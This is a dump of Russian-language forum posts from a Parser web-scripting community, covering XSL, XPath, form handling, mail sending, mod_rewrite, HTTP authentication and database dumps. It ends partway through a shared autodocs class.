"28974","делов-то: начать закрывать теги <input /> и добавить в них несколько дополнительных атрибутов :)\
\
зачем это делается?\
- один делает [b]логику[/b] и знать ничего не знает, как это будет выглядеть. ему пофигу. его результат (xml) немного избыточен.\
\
- второй делает xsl. ему пофигу логика работы. его не интересует как это работает. он не знает что такое БД, как её правильно сделать. зато он владеет фотошопом и xsl. его задача - вывести xml данные, которые ему пришли от первого так, как это нарисовано на шаблонах.\
\
да, конечно, если сайт нужно перевернуть в ног на голову, то приходится работать обоим.\
\
и конечно-же, при создании сайта им приходится взаимодействовать."
"28975","Т.е. - без мантр и надрыва?\
\
Варианты:\
\
1. У меня на сайте две формы: одна для того, чтобы можно было в гостевой чиркнуть строчку, а вторая - послать письмо. Тогда не стоит заморачиваться и эти две странички можно сделать без всякого разделения контента/обработки и перемешать код и обработку?\
\
2.  Делаем портал с десятками статей, после каждой из которых есть формы (десятки форм в итоге) с возможностью для пользователя внести свои комментарии или просто матерное слово вывесить на всобщее обозрение. Тогда НЕПРЕМЕННО делаем всё \"по уму\"?\
\
Я в правильном направлении думаю?\
\
А Ваш пример с разделением труда он не всегда подходит. Примерно как пытаться перенести технологии конвейерного производства (в хорошем смысле этого понятия), на кустарный промысел. Да и у Вас в сложных, индивидуальных случаях (ноги/голова), зачастую происходит ручная доводка до товарного образца. У Вас большое производство, а тут всё самому приходится делать.\
\
Итого: как ни крути - сперва голова, потом руки. И никуда от этого не деться, хотя и очень хочется :( Завтра мне 40 лет исполняется и я заметил, что последние пару лет я стал получать огромное удовольствие от стрижки газона возле своего дома :)"
"28976","Небуду говорить что ваш парсер супер и т.п. это и так яясно что он очень удобен и т.п. сразу к делу \
у неполучаеться коннект к базе на локальном хосте (Денвер) тоесть скрипт новостей добавляет инфу в базу(это видно т.к. размер базы увеличиваеться) а вот нвости не выводяться \
и второй может есть возможность сделать храрение инфы не в базе а в файлах?\
если да то как это сдлетьас помощью паресера"
"28978","Как Вы верно заметили, раз меняется размер базы, то что-то в неё заносится.\
\
На поставленный Вами вопрос, в той форме в какой это сделали Вы, можно ответить самым общим образом: новости из базы не выводятся потому что в Вашей программе очевидно есть ошибки. По-пробуйте их исправить.\
\
Если Вы приведёте код программы, то можно будет попытаться помочь более предметно.\
\
Хранение информации в файлах сделать вполне возможно. Для этого необходимо написать работающий код."
"28979","скрипт новостей обычный тоесть из учебника по парсеру с вашего сайта\
а про файловый архив я непонял чтото"
"28980","Об этом грозился вчера написать на хомяке. Студия - одно, а мы - совсем другое. Какой вариант проще - такой и реализовывать в каждом конкретном случае.\
С наступающей Вас днюхой!"
"28982","Из http://www.parser.ru/faq/forum/\
\
\"...Если вопрос касается парсерного кода то:\
1. Приведите его фрагмент (не надо приводить 10-и страничные тексты, их никто не будет читать)\
2. Очень желательно отформатировать фрагмент кода и обрамить его псевтотегами [code][/code]. Это будет способствовать лучшему пониманию вашего кода другими.\
3. Укажите полную версию используемого парсера/веб сервера/ОС...\"\
\
На все вопросы заданные в формате \"У меня что-то там не работает\" ответ будет \"надо что-то там починить\". Тут так заведено. Правильно, кстати, на мой взгляд :)"
"28983","У меня не получилось... Работает только что-то одно"
"28985","Связь с внешними скриптами через:\
\
http://www.parser.ru/docs/lang/filecgiexec.htm"
"28986","Миша, спасибо за то, что нас, бедных юзеров, не забываешь! Теперь мы можем спокойно вступать в обратную связь с кем угодно  благодаря твоей замечательной форме :-)\
\
Спешу сообщить :-) - в описании примера http://www.parser.ru/examples/feedback/ закралась опечатка.\
\"Пример того, как можно сделать простенькую форму обратной связи, с помощью которой посетители вашего сайта будут отправлять вам сообщени_й_ на email. \""
"28987","Мне не лень, если смогу конечно.\
А по своему вопросу - пока поставил Apache под W2003 и прикрутил туда Parser. \
Понимаю, что это изврат, но сроки горели :)"
"28988","Да.. Согласен, что смотрел в книгу, а видел фигу. Просто воскресение  слишком удалось. :) Спасибо за ответы."
"28989","закинул туда текст весом в 27кб получил приветственный Unhandled Exception"
"28990","Я написал тестовый пример: действительно, все работает без всяких taint'ов, пробелы сохраняются (но и с ним тоже все работает).\
\
Но в моем реальном скрипте на работает ни так, ни так! У меня там ОДНА И ТА ЖЕ переменная с пробелом внутри используется в теме письма и в поле from -- так вот в теле письма она приходит с пробелом, а в поле from пробел исчезает. Скрипт слишком большой, чтобы его приводить целиком. Но чисто теоретически -- такое может быть?"
"28991","Требуется подключить CGI-скрипт"
"28992","Хороший код, спасибо [b]Misha v.3[/b].\
\
Пара комментариев:\
\
в excepte я поставил $is_show_form(1), ИМХО пусть пользователь\
еще раз попробует отправить (может быть мэйл-сервер вот-вот поднимется из нокаута :) )\
\
в месте, где выдается location мне пришлось заключить $request:uri\
в ^untaint, а то у меня url переводился в вид со значками вида\
%XX (у меня как раз тот случай, когда ^request:uri.pos[?]>=0)"
"28993","Ключевые слова cgi и exec."
"28994","> Понимаю, что это изврат\
\
Ничего это не изврат, извращенец тот, кто думает что Apache нельзя на Windows пускать, а только на Unix. К ПО нужно относится как к молотку, а не как к предмету поклонения, если это решает ваши задачи то какие могут быть доводы против?"
"28995","чем чётче будет сообщение об ошибке, тем быстрее она будет поправлена.\
\
если сумеете, уменьшите bug.html до подстранички, и пошлите мне bug.zip?\
\
[без баз данных, если сумеете]"
"28998","Скажите, вот у нас тут случился разный подход к вопросу защиты данных от преобразований. У вас taint, у меня untaint... Вопрос в том, что ведь\
\
[code]^untaint{$request:uri}\
\
^taint[as-is][$request:uri][/code]\
\
идентичные конструкции?"
"28999","В Preferences IE нужно добавить язык (ru) и выбрать для него шрифты.\
\
И всё будет хорошо, парсер здесь не при чем."
"29000","Есть такой XML со структурой сайта:\
\
[code]\
<Раздел Наименование=\"Раздел1\" Ид=\"1\">\
    <Страница Заголовок=\"Стр1\" Ид=\"1001\"></Страница>\
    <Страница Заголовок=\"Стр2\" Ид=\"1002\">\
        <Страница Заголовок=\"Стр4\" Ид=\"1004\"></Страница>\
        <Страница Заголовок=\"Стр3\" Ид=\"1003\">\
            <Страница Заголовок=\"Стр5\" Ид=\"1005\"></Страница>\
        </Страница>\
    </Страница>\
</Раздел>\
[/code]\
\
Задача - построить путь к корню если известен @Ид текущей страницы.\
В конце-концов должно получиться что-то вроде:\
\
[b]Раздел1\\Стр2\\Стр3\\Стр5[/b].\
\
Для этого решаю промежуточную задачу - получение @Ид родителя.\
Например текущий @Ид=1005.\
Хочется получить @Ид=1003.\
\
Использую вот такую конструкцию XSL:\
\
[code]\
<xsl:for-each select=\"parent::*//Страница[@Ид = 1005]\">\
 <xsl:value-of select=\"parent::node()/self::Страница/@Ид\" />\
</xsl:for-each>\
[/code]\
\
Она получилась после 30 минут безуспешных попыток решить вроде бы несложную задачу.\
По-моему можно как-то ГОРАЗДО карсивее сделать.\
Но видимо сегодня не день GoodVin-а, \
мб кто-нить подскажет как получить @Ид родителя более простым способом ?\
\
Или мб сразу как получить ПутьДоКорня ? :)"
"29001","вот это идентичные конструкции:\
^str.match[a]{g}[b}\
и\
^str.replace[^table::create[nameless]{a^#09b}]\
\
?\
\
в данном конкретном случае это применение match и это применение replace дают одинаковый резальтат.\
\
упоминаемые taint/untaint в _том_конкретном_слечае_ тоже дают одинаковый результат, но я считаю что в том случае правильнее использовать taint (да и малость быстрее он должен быть)"
"29003","Выкиньте IE и не вспоминайте о нём. Это полный ужас...\
Вот Safari - сила. Ну и для некоторых вещей - Mozilla."
"29004","[code]\
<xsl:template match=\"/\">\
	<!-- тут будет путь... -->\
	<!-- находим нужную страницу -->\
	<xsl:apply-templates select=\"//Страница[@Ид = '1005']\" mode=\"path-to-root\" />\
	<!-- путь есть... -->\
</xsl:template>\
\
<xsl:template match=\"Страница\" mode=\"path-to-root\">\
	<!-- читаем доку по осям (XPath) -->\
	<xsl:for-each select=\"ancestor-or-self::*\">\
		<!-- просили @Ид? получайте! -->\
		<xsl:value-of select=\"@Ид\" />\
		<!-- ну и разделитель до кучи -->\
		<xsl:text> | </xsl:text>\
	</xsl:for-each>\
</xsl:template>\
[/code]"
"29005","Я знаю что парсер ни причём, здесь виноват IE или ошибки в HTML.\
Я подозреваю что второе не без первого т.к. через пару дней после поста сайт стал отображаться великолепно.\
\
И ещё я незнаю как выбрать кодировку, чтобы половина страницы отображалась в одной кодировке, другая половина тоёже страницы в другой.\
\
зы Можно неотвечать, т.к. мак для меня неявляется рабочей средой"
"29006","...после очередного обновления перестал работать и начал выдавать ошибку, но надо признать с кодировками у него всё в порядке"
"29007","Грузитесь с CD, выбираете из меню Open Disk Utility, а там Repair Permissions.\
99%, что все станет запускаться."
"29009","существо шаблонное...\" - так подумал я после того, как зашел в \"примеры\" и заглянул в http://www.parser.ru/examples/mscroller/ . Я написал _очень_ похожее решение. Но не настолько красивое :(.\
если бы я увидел это до того как начал писать...\
\
Начинающие!!!\
Мой Вам совет - заходите почаще на этот сайт и читайте что тут написано."
"29010","Я тут свой опыт пополнял, и что-то упётся в такую штуку\
\
[code]\
$console:line[ping whales.ru]\
$console:line\
[/code]\
\
В результате получил 500 ошибку, в логе написано следующее\
[Tue Apr 20 22:05:30 2004] [error] [client 127.0.0.1] malformed header from script. Bad header=ping whales.ru: /home/cgi-glob/parser_3.1.2/parser3.exe\
\
Вобщем вопрос в следующем работает консоль с виндовс\
Если работает, то где моя ошибка"
"29011","Путем кропотливой работы локализовал баг. Файл настолько мал, что пишу прямо здесь, вот он целиком:\
\
----------\
<html><body>тест</body></html>\
\
$user-name[Владимир]\
$user-surname[Путин]\
$author[$user-name $user-surname]\
\
^mail:send[\
	$.from[$author <vv@gov.ru>]\
	$.content-type[text/plain^; charset=\"windows-1251\"]\
	$.to[kobak@yandex.ru]\
	$.text[Привет шлет $author]\
]\
----------\
\
Пробел в поле from исчезает. Если сразу записать в $author \"Владимир Путин\" через пробел -- то он не исчезает. Баг?"
"29014","Прошу прощения за вопрос, который, возможно столь ламерский, что нигде на него не нашел ответа :)\
Есть ли возможность определить разрядность числа методом, отличным от ^string.length[] ?"
"29016","Если я хоть что-то помню, то как-то так:\
[code]\
@count[i]\
$result(^math:floor(^math:log(^math:abs($i))/^math:log(10))+1)\
[/code]\
Нет проверки на дробность (а как?) и на тип аргумента."
"29018","[quote]\
Есть ли возможность определить разрядность числа методом, отличным от ^string.length[] ?\
[/quote]\
Есть."
"29019","Подскажите, пожалуйста, откуда можно скачать крайнюю версию под FreeBSD без \"safe mode\""
"29021","[code]\
Ваше Имя:<br />\
<input type=\"text\" name=\"name\" value=\"^if(def $form:name){$form:name}{$auth_data.user.name}\" /><br />\
E-mail:<br />\
<input type=\"text\" name=\"email\" value=\"^if(def $form:email){$form:email}{$auth_data.user.email}\" /><br />\
[/code]\
Зачем пользователю вводить эти данные если он зарегистрирован в системе."
"29022","Может кто-то сталкивался...\
\
Проблема в том, что, взяв дамп базы, его нельзя корректно засунуть обратно. В InnoDB поддерживаются FOREIGN KEY. Чтобы всё было хорошо нужно удалять сначала зависимые таблицы, а потом остальные. Создание таблиц и вставка в них осуществляется в порядке обратном удалению.\
Но mysqldump помещает DROP TABLE... непосредственно перед CREATE TABLE и все таблицы отсортированы в алфавитном порядке.\
\
Странно то, что MySQL поддерживает тип InnoDB, но мне кажется, что нет простого способа переноса таких баз данных.\
\
Есть кто-то, кто знает, как решить эту проблему?"
"29023","Подскажите пожалуйста как составить \"регулярное выражение\" для поиска и замены таких вещей: найти сочитание 1 или больше пробелов + перенос строки(энтэр) и заменить просто на перенос строки\
\
Зарание благодарен!"
"29024","[code]\
@f[text]\
$result[^text.match[ +(\\n)][g]{$match.1}]\
[/code]"
"29027","Извините за глупый вопрос, ну вобщем решил я заняться парсером поскольку считаю себя \"простым смертным\" а не \"профессиональным программистом\", при этом еще и не знаю возможностей этого языка и возможно ли на нем сделать все то, что делают на пхп, в том числе эту пресловутую \"панель администрирования сайта\", если не правильно выразился - читайте \"окошечко, где можно писать контент обычным текстом(без тегов, как в ворде) чтобы он потом появился на сайте\". Вобщем, помогите определиться - пхп или парсер. Заранее благодарен."
"29028","> Извините за глупый вопрос,\
Извеняю ;)\
\
> ну вобщем решил я заняться парсером поскольку считаю себя \"простым смертным\"\
> а не \"профессиональным программистом\", при этом еще и не знаю возможностей\
> этого языка и возможно ли на нем сделать все то, что делают на пхп,\
Нет не всё возможно, но если будет надо можно php скрипты запускать из парсера\
\
> в том числе эту пресловутую \"панель администрирования сайта\",\
Панель управления возможно\
\
> если не правильно выразился - читайте \"окошечко, где можно писать контент\
> обычным текстом(без тегов, как в ворде) чтобы он потом появился на сайте\".\
> Вобщем, помогите определиться - пхп или парсер. Заранее благодарен.\
Конечно парсер, он намного проще и писать кода надо существенно меньше"
"29030","Есть форма на которой с помощью js пользователь может сам создавать дополнительные input fields, их количество не ограничено. Имена просто по порядку делаются - типа name1, name2, .... nameX\
Надо сделать так, чтобы параметры принимались через \"$form:\", но я не знаю сколько их.... \
Какое-нибудь .menu для такого предусмотрено? в базу я их собираюсь потом писать отдельными записями, то есть есть графа NAME, в которую должно сначала попасть name1, второй строчкой name2 и т.д..... понятно, что это циклом, но как задать сколько раз будет выполняться цикл-то?\
P.S. Существует ведь ^form:fields.foreach[field;value]\
но оно мне не подходит, даже если сделать что-то типа этого (считаем количество строк, может код неверный):\
$vse[^form:fields]\
$num[$vse.count]\
^if($num == 5){\
у нас минимум полей \
}{\
^if($num==6){одно лишнее поле}{ \
num==7 { добавлено 2 лишних }...... \
.. так как в форме несколько таких полей, где юзер может экпирементировать с количеством... "
"29031","[code]\
$result[^text.match[\\s+\\n][g]{^#0A}]\
[/code]"
"29033","Можно создать полностью законченный сайт:\
движок, выдающий контент в браузер\
CMS, позволяющая полностью управлять информацией на сайте\
все на PARSER, запускаются только 1 внешнее приложение: postfix для отсылки инфы с сайта на мыло."
"29034","1. Называйте поля \"по назначению\".\
\
2. Поля, существующие всегда должны отличаться названием от динамически создаваемых.\
\
3. Считать поля не надо: \"дефолтных\" и так будет 5.\
\
4. Если уж поля имеют вид nameX - [code]^for[i](1;^form:N.int(0)){\
^if(def $form:[name$i]){+}{-}\
}[/code] в помошь. А N - создаем тем же js'ом == максимальный номер и передавать как hidden.\
\
5. Если поля однотипные - никто не мешает все их назвать одинаково и пользовать $form:tables.name"
"29035","Задача:\
1. Загрузить XML с диска\
2. Вытащить из него 2 значения для дальнейшей работы, \
если точнее, то в XML карта сайта \
и к каждой странице привязаны атрибуты @ПутьXML и @ПутьXSL, \
которые указывают где брать содержимое для страницы и как его обрабатывать перед выводом.\
\
Сделал, работает, но что-то все шибко длинно получилось, \
скорее всего Parser позволяет сделать это красивее, но как ?\
\
Привожу работающий код:\
\
/.html (фрагмент)/\
\
[code]\
# загружаем карту сайта\
$mapXML[^file::load[text;../_xml/spravka/map.xml]]\
\
# получаем отдельный XML с картой сайта\
$XML-mapXML[^xdoc::create{<?xml version=\"1.0\" encoding=\"$request:charset\"?>\
	^untaint[as-is]{$mapXML.text}\
}]\
\
# создаем XSL-шаблон для выбора пути и получаем путь в переменную\
$XSL-pathXML[^xdoc::create[/xsl/]{<?xml version=\"1.0\" encoding=\"$request:charset\"?> \
<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" version=\"1.0\">\
<xsl:template match=\"Страница[@Ид = $id]\"> \
   	<xsl:value-of select=\"@ПутьXML\"/>\
</xsl:template> \
</xsl:stylesheet>\
}]\
$transformedDoc[^XML-mapXML.transform[$XSL-pathXML]] \
$pathXML[^transformedDoc.string[$.method[text]]]\
\
# создаем XSL-шаблон для выбора пути и получаем путь в переменную\
$XSL-pathXSL[^xdoc::create[/xsl/]{<?xml version=\"1.0\" encoding=\"$request:charset\"?> \
<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" version=\"1.0\">\
<xsl:template match=\"Страница[@Ид = $id]\"> \
   	<xsl:value-of select=\"@ПутьXSL\"/>\
</xsl:template> \
</xsl:stylesheet>\
}]\
$transformedDoc[^XML-mapXML.transform[$XSL-pathXSL]] \
$pathXSL[^transformedDoc.string[$.method[text]]]\
\
# выводим значения для проверки\
$pathXML\
$pathXSL\
[/code]\
\
/.xml (фрагмент)/\
\
[code]\
<КартаСайта>\
<Раздел Наименование=\"СПРАВОЧНАЯ\" Ид=\"1\" Описание=\"Справочный раздел\" ЦветРаздела=\"#99D228\">\
<Страница Ид=\"1003\" ПутьXML=\"../_xml/spravka/ext.xml\" ПутьXSL=\"../_xsl/dir/spravka.xsl\"></Страница>\
</Раздел>\
</КартаСайта>\
[/code]\
\
Буду рад если удастся убрать из кода хоть 1 строку :)"
"29036","Вы доку читаете?\
Парсер поддерживает XPath.\
И благодаря этому код содержит 3 (три) строки:\
1. лоад (^xdoc::load[])\
2. первый XPath (^doc.selectString[])\
3. второй XPath (^doc.selectString[])\
\
Более того, страница документации http://www.parser.ru/docs/lang/xnodeselectstring.htm содержит решение!\
\
А ведь обещали почитать про XPath... :("
"29038","Мне уже буквально стыдно..."
"29039","Имеется такое вот:\
<HTML>\
..\
<xml id=XML><film>ля ля ля в тегах</film></xml>\
..\
<TABLE dataSrc=#XML>\
..\
\
Скажите, такое-вот-подобное под всеми браузерами работает? \
На W3C просто такого в спецификации HTML 4.0 вроде нету..."
"29040","Спасибо всем огромное! Теперь у меня нет ни тени сомнения, что парсер - это рулез форева. Осталось только учиться,учиться и еще раз ... ;)"
"29041","> Параметр отправки писем (см. ^mail:send[…])…\
> …под Windows и UNIX (под UNIX [3.1.2]) адрес SMTP-сервера\
> $MAIL[\
>    $.SMTP[mail.office.design.ru]\
> ]\
\
А как быть, если сервер требует авторизации?"
"29042","Скоро будет версия, начиная с которой даже новички смогут писать модули и ставить их на ядро моего скрипта.\
Теперь для хранения данных я юзаю тока XML - никакого HTML. Он присутствует только в шаблонах темы.\
Работа с БД также будет предусмотренна.\
Я пришел к выводу: проще - лучше.\
Все будет в мае-июне (зависит от универа).\
\
Люди, делитесь исходниками на parser.proc.ru. Чего форум простаивает? Зачем одним parser.ru ограничиваться? Он для серьезных вопросов, а для новичков ФАК на Форуме OpenParser организуем!\
\
Прошу также не забывать про parserdev.ru."
"29043","В этой строчке, \
$extension[^image_name.split[.;r]]\
если в имени загруженного файла две точки, то что окажется в переменной?"
"29045","Вдруг по не понятной причине при заходе на сайт возникла ошибка\
500 Internal Server Error\
Посмотрел в лог сервера, там:\
Premature end of script headers: /путь/к/парсеру/parser3.cgi\
Не грузится даже тестовая страница _test.html\
\
Если отключить обработку парсером, то сайт загружается.\
\
Версия парсера 3.1.2 freebsd\
.htaccess:\
AddHandler parsed-handler html\
Action parsed-handler /cgi-bin/parser3.cgi\
\
Странное то что раньше сайт работал, никаких изменений я не вносил.\
Более того на этом же сервере другой сайт с точно такими же настройками продолжает работать."
"29047","http://www.livejournal.com/community/ru_webdev/314521.html"
"29048","замените на \
[code]^file.justext[$image_file.name][/code]\
Да и вообще собственно эта строка там не нужна. Разве что в $result ее засунуть чтобы выдавать при ошибке расширение неподдерживаемого файла."
"29050","1. не совсем понятно как она работает (не путать с \"что надо сделать, чтобы заработала\")\
2. многие не знают как получить \"имя пользователя\"\
3. некоторым не нравится выпрыгивающее \"окошко авторизации\"\
4. отсутствует возможность log-out'а более-менее стандартными способами\
\
5. иногда она просто не подходит (как пример - авторизация в этом форуме и тому подобное)"
"29051","А точне - про логаут и передачу данных через форму.\
Имхо, лучше сформулировать свои предложения для парсера, чтобы можно было решать все эти задачи (кроме логаута - тут я даже не знаю, как себя будут вести браузеры)\
А так:\
-узнать пользователя $env:REMOTE_USER\
-работает путем передачи в http-заголовке base 64 encoded пары логин/пароль.\
Передачу выполняеет сам клиент, при каждом запросе."
"29054","[quote]-работает путем передачи в http-заголовке base 64 encoded пары логин/пароль.[/quote]\
если не ошибаюсь, так работает авторизация Basic, в версии Digest всё немного запутаннее, пароль на стороне клиента криптуется по MD5 и уже в криптованном виде передаётся по сети, что есть несомненно плюс по отношению к некоторым видам \"нестандартной авторизации\". \
Читал я как-то доку на английском, но ничего не понял и запутался... :) если где-нить в сети имеется [b]подробное описание[/b] этого метода авторизации (digest) на русском, был-бы премного благодарен за ссылку на это дело."
"29055","http://www.aspnetmania.com/Articles/Article.aspx?ID=30\
После этого родной RFC2069 читается сильно легче ;-)"
"29056","достаточно подробное описание нужных заголовков запроса/ответа, плюс какими алгоритмами они там в натуре создаются, и зачем.\
\
остальное можно будет добить и из RFC :)"
"29057","Воспользовался выложеным в примерах счетчиком, чтобы считать сколько зашло за сегодня:\
[code]\
\
$now[^date::now[]]\
<br>Сегодня зашло:\
^if(def $cookie:today){\
$today[^file::load[binary;/counter/.count]]\
$today.text\
}{\
^counter[/counter/]\
$cookie:today[\
   $.value[on]  \
   $.expires[${now.year}-${now.month}-^eval(${now.day}+1)]\
]\
}\
\
[/code]\
\
Парсер (или не Парсер?) выводит:\
[code]\
exception in request exception handler: Exception 0xE06D7363 at 0x77E6D756\
[/code]"
"29059","Прочитал диалог http://www.parser.ru/forum/?id=13650 - но все равно не понял. Поясните для дезигнера!"
"29061","Меню должно быть таким: \
каталог1/подкаталог11/подкаталог12...\
каталог2/подкаталог21/подкаталог22...\
и т. д.\
Спасибо."
"29062","Система FreeBSD 4.9\
при сборке выдает ошибку:\
\
parser3mysql.C:49: macro `toupper' used with too many (3) args\
parser3mysql.C:125: macro `toupper' used with too many (3) args"
"29063","если разберётесь то беспроблем организуете меню с бесграничной вложенностью\
\
Если не разберётесь, то с вопросами сюда\
\
ссылка по теме\
http://www.parser.ru/examples/trees/"
"29065","Файлы:\
goroda.csv -  таблица такого содержания\
[quote]\
url;title;parent;special\
99;Абакан;1;\
283;Агинский Бурятский а.о.;2;1\
227;Алтайский край;3;\
77;Альметьевск;2;1\
233;Амурская обл.;1;1\
[/quote] \
Таблица  parent.csv:\
[quote]\
no;region\
1;Дальний\
2;Привольжский\
[/quote]\
\
Код:\
[code]\
$ТаблицаСтрокВся[^table::load[/goroda.csv;$.separator[^;]]]\
\
$ТаблицаРазделовВся[^table::load[/parent.csv;$.separator[^;]]]\
\
$ТаблицаСтрокКусок[^ТаблицаСтрокВся.select($ТаблицаСтрокВся.special == 1)]\
\
^for[$ТекущаяСтрока](1;$ТаблицаРазделовВся){\
\
$СтрокиПоРазделу[^ТаблицаСтрокКусок.select($ТаблицаСтрокКусок.parent == $ТекущаяСтрока)]\
\
<table border=1>\
\
^СтрокиПоРазделу.menu{\
\
   <tr>\
   <td><a href=/$СтрокиПоРазделу.url/>$СтрокиПоРазделу.title</a></td>\
   </tr>\
}\
</table>\
}\
\
[/code]\
\
[b]Хочу получить:[/b]\
Две таблицы, в первой ссылки на \"special\" региона 1, потом таблицу со \"special\" для региона 2, т.е.\
\
[quote]\
<table><tr><td>\
<a href=/233/>Амурская обл.</a></td></tr>\
</table>\
\
<table>\
<tr><td><a href=/283/>Агинский Бурятский а.о.</a></td></tr>\
<tr><td><a href=/77/>Альметьевск</a><td></tr>\
</table>\
[/quote]\
\
В данный момент выдаёт пустой экран."
"29066","... Это раз.\
\
Два:\
[code]\
  $tCity[^table::load[/goroda.csv;$.separator[^;]]]\
  $tParent[^table::load[/parent.csv;$.separator[^;]]]\
\
  ^tParent.menu{\
     $tLocal[^tCity.select($tCity.parent == $tParent.no)]\
     ^if($tLocal){\
       <table>\
       ^tLocal.menu{\
          ^if(^tLocal.special.int(0)){\
             <tr><td><a href=/$tLocal.url/>$tLocal.title</a></td></tr>\
          }\
       }\
       </table>\
     }\
  }\
\
[/code]\
\
И три: а просто отсортировать основную таблицу по parent и пройтись по ней одним menu не пробовали?"
"29067","1. Да, конечно, загружаются.\
Более того, пробовал так (думал, мало ли не вычисляется количество строк во второй):\
[code]\
$Строк[^ТаблицаРазделовВся.count[]]\
^for[$ТекущаяСтрока](1;$Строк){\
...\
[/code]\
- результат тот же самый, то есть никакой.\
\
2. Ваш код выдал то, что нужно!\
Как-то не дошло, что можно напрямую можно переменную подставить в скобки ($tCity.parent == $tParent.no)\
\
3. Дык она по алфавиту отсортирована :) Ладно, раз пункт-2 работает, трогать не буду :)"
"29068","[code]\
 $tCity[^table::load[/goroda.csv;$.separator[^;]]]\
 $tParent[^table::load[/parent.csv;$.separator[^;]]]\
  ^tParent.menu{\
[/code]\
[b][code]\
	<h3>$tParent.region</h3>\
[/code][/b][code]\
     $tLocal[^tCity.select($tCity.parent == $tParent.no)]\
     ^if($tLocal){\
       <table>\
       ^tLocal.menu{\
          ^if(^tLocal.special.int(0)){\
             <tr><td><a href=/$tLocal.url/>$tLocal.title</a></td></tr>\
          }\
       }\
       </table>\
     }\
  }[<BR>]\
[/code]"
"29069","Вроде всё, что можно облазил и прочитал, но так и не научился. Есть ли способ объединить (со слэшем и без) в одну строку? \
[code]\
RewriteRule ^c/([0-9]+)/$ /file.html?id=$1\
RewriteRule ^c/([0-9]+)$ /file.html?id=$1\
\
RewriteRule ^profile/login$ /h-bobych/profile.html?type=login\
RewriteRule ^profile/login/$ /h-bobych/profile.html?type=login\
[/code]\
\
UPDATE:\
Если я пишу, скажем,\
[code]RewriteRule ^c/([0-9\\/]+)/$ /file.html?id=$1[/code]\
То тогда слэши / попадают в $form:id ... их тогда там их убивать надо... а уж про то, что мне понадобится в будущем /c/96456/one_more_level/ я уж не говорю...  \
HELP :)\
"
"29070","... Этот пример неболее чем идея для построения, вы вполне можете обойтись одной табличкой сохранённой на диске."
"29071","Наверное, надо сказать, что он может встретиться 0 или 1 раз."
"29072","parse error, expecting `'\\n''"
"29073","Причём без видимого сообщения, мол void не может быть stored...\
Например выдаст что-нибудь вроде этого:[quote]exception in request exception handler: Exception 0xC0000005 at 0x004013C4[/quote]"
"29076","imho вы первый, кто воспользовался тем, что парсер позволяет задавать переменные русскими буквами."
"29077","Есть класс, сохраненный в файле class.p, с названием «myclass»\
Хочу подключить его в auto.p-файле:\
\
@USE\
class.p\
\
@BASE\
myclass\
\
Выводит ошибку:\
usage failed - no $MAIN:CLASS_PATH were specified\
\
Что я делаю не так?\
Извините за глупые вопросы..."
"29078","auto.p Укажите $CLASS_PATH (см. документацию)"
"29079","$CLASS_PATH[/classes/class.p]"
"29080","а надо /classes/"
"29085","Не решусь никак. Сильно ли это напряжет сервер по сравнению с простым P3->HTML? Решение более универсальное, спору нет. А вот насколько медленное?\
\
Буду кэшировать уже готовый html, просто в разных местах на разное время."
"29086","Вчера наткнулся на сабж у egr'а на http://www.egoroff.spb.ru.\
То ли потому, что не смог зарегистрироваться (ошибка какая-то всё время говорит, что я уже зарегистрирован). То ли потому, что код с сайта странно работал, решил написать свой (всегда так с парсером:)).\
\
Товарищи, посмотрите кому интересно этот класс. Пока он только документирует методы такого вида:\
[code]\
# comment\
# xxx\
@method[xxx]\
...code ...\
[/code]\
\
Такой шаблон в принципе является удовлетворительным, но хочется большего, к тому же может я что-то не учёл...\
\
В планах сделать ещё описание глобальных переменных класса, тех которые будут видны для пользователя (например как, text или name, в классе file), но пока не понимаю, как лучше их документировать...\
\
Итак, кому интересно возьмите код, просто скопируйте в файл (весь код), и запустите: \
\
[code]\
@default[param1;param2]\
$result[^if(def $param1){$param1}{$param2}]\
\
\
@checked[param;value]\
$result[^if($param eq $value || (!def $param && $value eq \"0\")){checked}]\
\
\
@main[]\
<form method=\"GET\">\
	Путь к папке с библиотеками: <input name=\"library\" value=\"^default[$form:library;/]\"><br>\
	Маска (в regexp'е): <input name=\"mask\" value=\"^default[$form:mask;\\.p^$]\"><br>\
	Просмотривать вложенные папки:\
		<input type=\"radio\" name=\"in\" id=\"1\" value=\"1\" ^checked[$form:in;1]><label for=1>Да</label> /\
		<input type=\"radio\" name=\"in\" id=\"0\" value=\"0\" ^checked[$form:in;0]><label for=0>Нет</label><br>\
	<input name=\"run\" type=\"submit\">\
</form>\
\
^if(def $form:run){\
	<HR width=\"100%\">\
	$autodocs[^autodocs::create[\
		$.path[$form:library]\
		$.mask[^untaint[as-is]{$form:mask}]\
		$.in(^form:in.int(0))\
	]]\
	^autodocs.scan[]\
}\
\
\
###########################\
@CLASS\
autodocs\
\
\
\
\
@auto[]\
$CONTENT[^table::create{path}]\
\
\
\
\
# Конструктор\
# 1. init = путь к папку где сканировать\
# 2. init.path = путь к папку где сканировать\
#    init.mask = маска в regexp\
#    init.in = (1/0) открывать вложенные папки\
@create[init]\
$PATH[/]\
$MASK[\\.p^$]\
$INSIDE(0)\
\
^if($init is string){\
	$PATH[$init]\
}{\
	^if($init is hash){\
		^if(def $init.path){\
			$PATH[$init.path]\
		}\
\
		^if(def $init.mask){\
			$MASK[$init.mask]\
		}\
\
		^if(def $init.in){\
			$INSIDE(^init.in.int(1))\
		}\
	}{\
		^throw[autodocs.create;$init;Входной параметр задан не верно, это может быть string или hash.]\
	}\
}\
\
\
\
\
# Начать сканирование\
@scan[]\
^scandir[$PATH]\
^if($CONTENT){\
	^CONTENT.menu{\
		^open[$CONTENT.path]\
	}\
}\
#$result[]\
\
\
\
\
# Рекурсивный просмотр папок\
@scandir[folder][folder;list]\
$list[^file:list[$folder]] \
^list.menu{\
	^if(^list.name.match[$MASK][]){\
		^add[$folder/$list.name]\
	}\
\
	^if($INSIDE && (-d \"$folder/$list.name\")){\
		^scandir[$folder/$list.name]\
	}\
}\
#$result[]\
\
\
\
# Добавить файл в стэк обработки\
@add[file]\
^CONTENT.append{$file}\
#$result[]\
\
\
\
# Обрезать ужас моего не знания regexp'а\
@cut[string;also]\
^if(def $string){\
	$result[^string.match[\\n$also][g]{}]\
}{\
	$result[]\
}\
\
\
\
# Обрезать ужас моего не знания regexp'а и символы комментариев\
@change_comment[string]\
^if(def $string){\
#	$result[^string.match[\\n+][g]{^#0D}]\
	$result[^string.match[#+][g]{}]\
}{\
	$result[]\
}\
\
\
\
@unescape_br[string]\
^if(def $string){\
